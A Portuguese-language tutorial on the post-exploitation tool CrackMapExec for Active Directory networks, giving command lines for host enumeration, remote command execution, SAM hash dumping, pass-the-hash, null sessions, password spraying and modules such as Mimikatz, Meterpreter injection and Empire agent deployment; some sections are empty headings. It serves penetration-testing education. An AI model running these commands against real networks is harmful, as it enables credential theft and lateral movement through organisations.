O poder do CrackMapExec
O poder do CrackMapExec

CrackMapExec (também conhecido como CME) é uma ferramenta de pós-exploração que ajuda a automatizar a avaliação de segurança de grandes redes que utilizam o Active Directory. Sua construção baseada em exploração (e não proteção) segue o conceito de “Living off the Land”: abusar dos recursos/protocolos integrados do Active Directory para utilizar-se de sua funcionalidade e assim passar despercebido pela maioria das soluções de proteção de endpoint/HIDS/IDS/IPS.
Embora destinado a ser usado principalmente para fins ofensivos, o CME pode ser usado com caráter defensivo para avaliar os privilégios das contas, encontrar possíveis configurações incorretas e simular cenários de ataque.
Enumeração de rede
A primeira coisa que você pode fazer para descobrir os ativos que estão na rede é utilizar o comando:
#~ crackmapexec 192.168.0.0/24
Execução de Comando
O CrackMapExec permite executar comandos remotos diretamente ao sistema operacional. Entretanto, a ferramenta requer credenciais com permissões administrativas, então, o CME informa automaticamente se o conjunto de credenciais que você está usando tem acesso de administrador a um host, acrescentando ‘(Pwn3d!)’ à saída quando a autenticação for bem-sucedida.

Métodos de Execução
O CME tem três métodos diferentes de execução de comando:
Wmiexec – Executa comandos via WMI.
Atexec – Executa comandos agendados por uma tarefa.
Smbexec – Executa comandos criando e executando serviços.
Por padrão, o CME fará failover para um método de execução diferente caso o anterior venha a falhar. Ele tenta executar comandos na seguinte ordem:
Wmicexec
Atexec
Smbexec
Se você deseja forçar o CME a usar apenas um método de execução, você pode especificar qual deles usando o sinalizador –exec-method.
Executando comandos
No exemplo a seguir, tentamos executar whoami no alvo usando o sinalizador -x:
#~ crackmapexec 192.168.10.11 -u Administrator -p ‘P@ssw0rd’ -x whoami

Você também pode executar comandos PowerShell diretamente usando o sinalizador -X:
#~ crackmapexec 192.168.10.11 -u Administrator -p ‘P@ssw0rd’ -X ‘$PSVersionTable’

Verificando usuários conectados
Utilizando o sinalizador —lusers, conseguimos verificar todos os usuários que estão conectados ao IP alvo.
#~ crackmapexec 192.168.0.0/24 -u ‘Administrator’ -p ‘PASS’ –lusers
Ataques voltado a credenciais
Para realizar a extração de hashes SAM no formato NTLM, utilizamos a opção –sam
#~ crackmapexec 192.168.215.104 -u ‘Administrator’ -p ‘PASS’ –local-auth –sam
Pass-the-Hash
O CME oferece suporte à autenticação via SMB usando ataques Passing-The-Hash com o sinalizador -H:
#~ crackmapexec smb <target(s)> -u username -H LMHASH:NTHASH
#~ crackmapexec smb <target(s)> -u username -H NTHASH
Sessões NULL
Você pode entrar com uma sessão nula usando ” como nome de usuário e / ou senha.
Exemplos:
#~ crackmapexec smb <target(s)> -u ” -p ”
Força bruta e password spraying
Podemos fazer isso apontando crackmapexec para a sub-rede e passando as credenciais:
#~ crackmapexec smb 10.0.2.0/24 -u ‘admin’ -p ‘P@ssw0rd‘
Ao especificar um arquivo ou vários valores, o CME fará logins de força bruta automaticamente para todos os alvos usando o protocolo especificado:
Exemplos:

Módulos
A partir da versão 3.1, a maneira como os módulos são carregados e usados mudou para tornar o CME mais portátil e permitir que ele seja empacotado.
Com a versão 4.0, cada protocolo pode ter seu próprio conjunto de módulos.
crackmapexec -L
[*] empire_exec – Usa a API REST do Empire para gerar um inicializador para o listener especificado e executá-lo
[*] shellinject – Baixa o shellcode bruto especificado e o injeta na memória usando o script Invoke-Shellcode.ps1 do PowerSploit
[*] rundll32_exec – Executa um comando usando rundll32 e o interpretador javascript nativo do Windows
[*] com_exec – Executa um comando usando um script para ignorar a lista de permissões
[*] tokenrider – Permite enumeração automática de token, personificação e propagação lateral em massa usando privilégios em vez de credenciais despejadas
[*] mimikatz – executa o script Invoke-Mimikatz.ps1 do PowerSploit
[*] tokens – os tokens disponíveis usando Invoke-TokenManipulation do Powersploit
[*] peinject – Baixa o DLL / EXE especificado e o injeta na memória usando o script Invoke-ReflectivePEInjection.ps1 do PowerSploit
[*] Powerview – para funções do PowerView
[*] mimikittenz – Executa Mimikittenz
[*] enum_chrome – Usa o script Invoke-Mimikatz.ps1 do Powersploit para descriptografar senhas salvas do Chrome
[*] metinject – Baixa o stager Meterpreter e o injeta na memória usando o script Invoke-Shellcode.ps1 do PowerSploit
[*] eventvwr_bypass – Executa um comando usando o bypass UAC sem arquivo eventvwr.exe
Utilizando módulo
Para utilizar um módulo no CrackMapExec, é necessário utilizar o sinalizador -M:
Run cme <protocol> <target(s)> -M <module name>.
Por exemplo, para executar o módulo SMB Mimikatz:
#~ crackmapexec smb <target(s)> -u Administrator -p ‘P@ssw0rd’ -M mimikatz
Visualizando opções de módulo:
cme <protocol> -M <module name> –options
As opções do módulo são especificadas com a opção “-o”. Todas as opções são especificadas na forma de KEY = valor (estilo msfvenom)
Exemplo:
cme <protocol> <target(s)> -u Administrator -p ‘P@ssw0rd’ -M mimikatz -o COMMAND=‘privilege::debug’
Módulos – MimiKatz

Obtendo Shells com CrackMapExec
Metasploit
Módulo Metasploit – Metinject

SMB para shell Meterpreter

Empire
Iniciar API RESTful

Executando empire com CrackmapExec

Juntando-se ao Empire & DeathStar
CrackMapExec pode implantar agentes Empire em máquinas comprometidas. Isso torna as atividades pós-exploração ainda mais fáceis, especialmente se usar os recursos de ataque automatizado do DeathStar. Usando o módulo empire_exec e especificando o listener que você deseja que os agentes se conectem, implantará e ativará os agentes em massa. Todas as credenciais coletadas podem ser importadas para o banco de dados de credenciais do CrackMapExec.

Com todos esses recursos, o CrackMapExec pode facilitar qualquer invasor a se espalhar rapidamente por uma organização apenas com alguns comandos básicos, se demonstrando uma ótima ferramenta para pós exploração.